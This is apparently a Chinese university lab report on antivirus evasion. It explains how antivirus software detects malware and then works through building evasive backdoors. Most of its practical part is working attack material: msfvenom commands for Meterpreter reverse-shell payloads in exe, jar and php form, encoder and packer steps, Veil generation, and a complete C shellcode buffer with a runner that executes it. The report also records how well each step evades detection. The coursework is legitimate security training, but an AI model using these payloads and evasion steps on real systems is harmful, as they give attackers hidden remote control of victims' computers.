2019-2020-2 网络对抗技术 20172327 Exp3 免杀原理与实践
1. 实践基础
1.1 什么是恶意代码检测机制和免杀原理?
1.1.1 免杀原理
免杀技术,全称为反杀毒技术(Anti Anti-Virus),是指对恶意软件的处理让其能够不被杀毒软件所检测,同时也是渗透测试中需要使用到的技术。
1.1.2 恶意代码检测机制
基于特征码的检测:
- 简单来说一段特征码就是一段或多段数据。如果一个可执行文件(或其他运行的库、脚本等)包含这样的数据则被认为是恶意代码。
- AV软件厂商要做的就是尽量搜集最全的、最新的特征码库。所以杀毒软件的更新很重要。过时的特征码库就是没有用的库。
启发式恶意软件检测:
- 启发式Heuristic,简单来说,就是根据些片面特征去推断,通常是因为缺乏精确判定依据。
- 对恶意软件检测来主说,就是如果一个软件在干通常是恶意软件干的事,看起来了像个恶意软件,那我们就把它当成一个恶意软件。典型的行为如连接恶意网站、开放端口、修改系统文件,典型的“外观”如文件本身签名、结构、厂商等信息等。各个厂商会定义自己的检测模式。
- 优点:可以检测0-day恶意软件、具有一定通用性
- 缺点:实时监控系统行为,开销稍多;没有居于特征码的精确度高
基于行为的恶意软件检测:
- 可以理解为加入了行为监控的启发式。通过对恶意代码的观察研究,发现有一些行为是恶意代码共同的比较特殊的行为,杀软会监视程序的运行,如果发现了这些特殊行为,就会认为其是恶意软件。
1.1.3 免杀技术综述
一.入口点加1免杀法:
- 1.用到工具PEditor
- 2.特点:非常简单实用,但有时还会被卡巴查杀]
- 3.操作要点:用PEditor打开无壳木马程序,把原入口点加1即可
二.变化入口地址免杀法:
- 1.用到工具:OllyDbg,PEditor
- 2.特点:操作也比较容易,而且免杀效果比入口点加1点要佳.
- 3.操作要点:用OD载入无壳的木马程序,把入口点的前二句移到零区域去执行,然后又跳回到入口点的下面第三句继续执行.最后用PEditor把入口点改成零区域的地址.
三.加花指令法免杀法:
- 1.用到工具:OllyDbg,PEditor
- 2.特点:免杀通用性非常好,加了花指令后,就基本达到大量杀毒软件的免杀.
- 3.操作要点:用OD打开无壳的木马程序,找到零区域,把我们准备好的花指令填进去填好后又跳回到入口点,保存好后,再用PEditor把入口点改成零区域处填入花指令的着地址.
四.加壳或加伪装壳免杀法:
- 1.用到工具:一些冷门壳,或加伪装壳的工具,比如木马彩衣等.
- 2.特点:操作简单化,但免杀的时间不长,可能很快被杀,也很难躲过卡巴的追杀
- 3.操作要点:为了达到更好的免杀效果可采用多重加壳,或加了壳后在加伪装壳的免杀效果更佳
五.打乱壳的头文件或壳中加花免杀法:
- 1.用到工具:秘密行动 ,UPX加壳工具.
- 2.特点:操作也是傻瓜化,免杀效果也正当不错,特别对卡巴的免杀效果非常好
- 3.操作要点:首先一定要把没加过壳的木马程序用UPX加层壳,然后用秘密行动这款工具中的SCramble功能进行把UPX壳的头文件打乱,从而达到免杀效果.
六.修改文件特征码免杀法:
- 1.用到工具:特征码定位器,OllyDbg
- 2.特点:操作较复杂,要定位修改一系列过程,而且只针对每种杀毒软件的免杀,要达到多种杀毒软件的免杀,必需修改各种杀毒软件的特征码.但免杀效果好
1.2 基础问题回答
杀软是如何检测出恶意代码的? |
基于特征码的检测:简单来说一段特征码就是一段或多段数据,经过对许多恶意代码的分析,我们发现了该类恶意代码经常出现的一段或多段代码,而且是其他正常程序没有的,即特征码。如果杀软检测到一个可执行文件包含特征码就认为其是恶意代码。
启发式恶意软件检测:就是根据些片面特征去推断。通常是因为缺乏精确判定依据。
基于行为的恶意软件检测:可以理解为加入了行为监控的启发式。通过对恶意代码的观察研究,发现有一些行为是恶意代码共同的比较特殊的行为,杀软会监视程序的运行,如果发现了这些特殊行为,就会认为其是恶意软件。
免杀是做什么? |
使用一些技术手段对恶意软件做处理,让它不被杀毒软件所检测。同时,免杀也是渗透测试中需要使用到的技术。
免杀的基本方法有哪些? |
改变特征码的技术:
加壳、使用encode进行编码、基于payload重新编译生成可执行文件、使用其他语言重写再编译
改变行为的技术:
尽量使用反弹式连接,使用隧道技术,加密通讯数据;基于内存操作,减少对系统修改,加入混淆作用的正常功能代码
非常规技术:
使用一个有漏洞的应用当成后门,编写攻击代码集成到如MSF中;使用社工类攻击,诱骗目标关闭AV软件;纯手工制作恶意软件
开启杀软能绝对防止电脑中恶意代码吗? |
并不一定,在这个实验过程中,通过加壳的操作有时候也能够骗过杀毒软件的查杀。所以杀毒软件也并不是万能的,偶尔也会出现一些漏杀,不过总体来说还是比较安全可靠的。
2. 实践内容
2.1 学习正确使用msf编码器、msfvenom生成如jar之类的其他文件、veil、加壳工具、 使用C + shellcode编程以及课堂其他课堂为介绍方法
2.1.1 正确使用msf编码器,生成exe文件
使用msfvenom加基本反弹链接载荷生成exe文件:
- 1.查看主机IP地址:192.168.0.105
- 2.使用msfvenom生成20172327-backdoor.exe文件
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.0.105 LPORT=2327 -f exe > 20172327-backdoor.exe
- 用VirusTotal、Virscan两个网站进行恶意软件检测。
使用VirusTotal的检测结果如下:
使用Vircan的检测结果如下:
不知为什么exe文件传不上去,所以我之后就没再用这个检测。
- 由此可见,直接生成的exe文件能够被大部分杀毒软件识别,免杀性较低
- 一次编码:
-e
选择编码器,-b
是payload中需要清除的字符,该命令中为了使'\x00'
不出现在shellcode中,因为shellcode以'\x00'
为结束符。
msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -b '\x00' LHOST=192.168.0.105 LPORT=2327 -f exe > 20172327-backdoor-1code.exe
-
使用VirusTotal检测截图:
-
十次编码:使用-i设置迭代次数
msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 10 -b '\x00' LHOST=192.168.0.105 LPORT=2327 -f exe > 20172327-backdoor-10code.exe
-
使用VirusTotal检测截图:
-
经过上述操作,我们发现编码的次数对于免杀没有任何帮助,为什么呢?
<1> shikata_ga_nai总会有解码(decoder stub)部分需要加入的exe中,杀软只要找到了这一部分,就能查出这是恶意代码。
<2> msfvenom总以固定的模版来生成exe文件。它所有生成的exe文件,如果使用默认参数或者模版,也有一定的固定特征,所以一般来说AV厂商会针对msf使用的模板生成特征码侦测,这样就能解决所有msfvenom生成的恶意代码了。
2.1.2 msfvenom生成jar文件
- 生成jar后门程序
msfvenom -p java/meterpreter/reverse_tcp LHOST=192.168.0.105 LPORT=2327 x> 20172327_backdoor_java.jar
- 使用VirusTotal检测截图:
2.1.3 msfvenom生成php文件
- 生成php后门程序
msfvenom -p php/meterpreter/reverse_tcp LHOST=192.168.0.105 LPORT=2327 x> 20172327_backdoor_PHP.php
- 使用VirusTotal检测截图:
如图所示,只有3家杀毒软件可以识别
2.1.4 使用veil-evasion生成后门程序及检测
- 安装veil
第一步:sudo apt-get install veil
第二步:veil(继续安装,输y)
-
当你看到出现这句话和这样的界面就证明安装成功了。
-
安装成功后输入veil指令进入(以管理员权限进入)
-
输入
use evasion
命令进入veil-evasion
-
输入命令
use c/meterpreter/rev_tcp.py
进入配置界面
-
设置反弹连接IP地址(kali的IP)
set LHOST 192.168.0.255
,端口:set LPORT 2327
输入generate
生成文件,接着输入你想要payload的名字:20172327-c-veil
- 按照生成路径找到文件并上传测试
2.1.5 使用加壳工具尝试
-
加壳,是一种通过一些列数学运算,将可执行文件或动态链接库文件的编码进行改变,以达到缩小文件体积或加密程序编码的目的。当被加壳的程序运行时,外科程序仙贝执行,然后由这个外壳程序负责将用户原有的程序在内存中解压缩。
-
常用方法有“UPX”、“北斗程序压缩”、“ASPack”等,在此,我将使用“UPX”方法
-
输入
upx 20172327-backdoor.exe -o mrf_upxed.exe
,将以前使用的文件20172327-backdoor.exe
加壳得到加壳后文件mrf_upxed.exe
。
-
运行之后被判断为威胁,将其加入白名单方便测试反弹连接:
-
使用实验二方法,来测试:
-
按照生成路径找到文件并上传测试
-
使用加密壳:Hyperion
-
将文件
mrf_upxed.exe
拷贝到hyperion所在目录 -
通过命令
wine hyperion.exe -v mrf_upxed.exe mrf_upxed_Hyperion.exe
进行二次加壳
-
同理进行反弹连接,但不知为什么就是连不上
-
按照生成路径找到文件并上传测试
2.1.6 使用C+shellcode编程
-
首先使用命令:
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.0.109 LPORT=2327 -f c
生成一段shellcode。
-
用vim创建一个文件20172327.c,然后将unsigned char buf[]赋值到其中,代码如下:
unsigned char buf[] =
"\xfc\xe8\x82\x00\x00\x00\x60\x89\xe5\x31\xc0\x64\x8b\x50\x30"
"\x8b\x52\x0c\x8b\x52\x14\x8b\x72\x28\x0f\xb7\x4a\x26\x31\xff"
"\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf\x0d\x01\xc7\xe2\xf2\x52"
"\x57\x8b\x52\x10\x8b\x4a\x3c\x8b\x4c\x11\x78\xe3\x48\x01\xd1"
"\x51\x8b\x59\x20\x01\xd3\x8b\x49\x18\xe3\x3a\x49\x8b\x34\x8b"
"\x01\xd6\x31\xff\xac\xc1\xcf\x0d\x01\xc7\x38\xe0\x75\xf6\x03"
"\x7d\xf8\x3b\x7d\x24\x75\xe4\x58\x8b\x58\x24\x01\xd3\x66\x8b"
"\x0c\x4b\x8b\x58\x1c\x01\xd3\x8b\x04\x8b\x01\xd0\x89\x44\x24"
"\x24\x5b\x5b\x61\x59\x5a\x51\xff\xe0\x5f\x5f\x5a\x8b\x12\xeb"
"\x8d\x5d\x68\x33\x32\x00\x00\x68\x77\x73\x32\x5f\x54\x68\x4c"
"\x77\x26\x07\x89\xe8\xff\xd0\xb8\x90\x01\x00\x00\x29\xc4\x54"
"\x50\x68\x29\x80\x6b\x00\xff\xd5\x6a\x0a\x68\xc0\xa8\x00\x6d"
"\x68\x02\x00\x09\x17\x89\xe6\x50\x50\x50\x50\x40\x50\x40\x50"
"\x68\xea\x0f\xdf\xe0\xff\xd5\x97\x6a\x10\x56\x57\x68\x99\xa5"
"\x74\x61\xff\xd5\x85\xc0\x74\x0a\xff\x4e\x08\x75\xec\xe8\x67"
"\x00\x00\x00\x6a\x00\x6a\x04\x56\x57\x68\x02\xd9\xc8\x5f\xff"
"\xd5\x83\xf8\x00\x7e\x36\x8b\x36\x6a\x40\x68\x00\x10\x00\x00"
"\x56\x6a\x00\x68\x58\xa4\x53\xe5\xff\xd5\x93\x53\x6a\x00\x56"
"\x53\x57\x68\x02\xd9\xc8\x5f\xff\xd5\x83\xf8\x00\x7d\x28\x58"
"\x68\x00\x40\x00\x00\x6a\x00\x50\x68\x0b\x2f\x0f\x30\xff\xd5"
"\x57\x68\x75\x6e\x4d\x61\xff\xd5\x5e\x5e\xff\x0c\x24\x0f\x85"
"\x70\xff\xff\xff\xe9\x9b\xff\xff\xff\x01\xc3\x29\xc6\x75\xc1"
"\xc3\xbb\xf0\xb5\xa2\x56\x6a\x00\x53\xff\xd5";
int main()
{
int (*func)() = (int(*)())buf;
func();
}
-
输入
i686-w64-mingw32-g++ 20172327.c -o 20172327.exe
编译
-
按照生成路径找到文件并上传测试
2.1.7 使用其他方法完成免杀
-
启动veil,用list查看有效载荷:
-
选择第30个荷载: use 30 (Phython下shellcode在ARC下加密的一种)
-
用 generate 生成,shellcode平台选择2-msfvenom,payloads、IP用Tab自动获取。
-
输入回连的相关信息
-
按照生成路径找到文件并上传测试
2.2 通过组合应用各种技术实现恶意代码免杀
(1)简述免杀原理:使用C+shellcode,然后将shellcode转化为hex,并且使用ScRunHex.py与python运行hex码,避免了杀软扫描到ScRunHex.exe的特征码,而同时使用了不同的编码方式混淆,让杀软晕头转向。
2.3 用另一电脑实测,在杀软开启的情况下,可运行并回连成功,注明电脑的杀软名称与版本
- 使用Msfvenom生成raw格式的shellcode:
msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 6 -b '\x00' lhost=192.168.0.109 lport=2327 -f raw -o 20172327.raw
-
打开msfconsole进行监听:
-
在本机测试
-
未发现病毒
-
另一台正常开启杀软的Windows命令提示符输入 shellcode_launcher.exe -i 20172327.raw
windows 自带defender发现了问题
4.1.3 总结与体会
- 通过本次实验,了解了很多种方法,也知道了工作原理,对以后的学习会有很多的帮助。在做实验的过程中,我遇到了很多问题,也耗费了大量的时间去修改,调试,收获颇丰。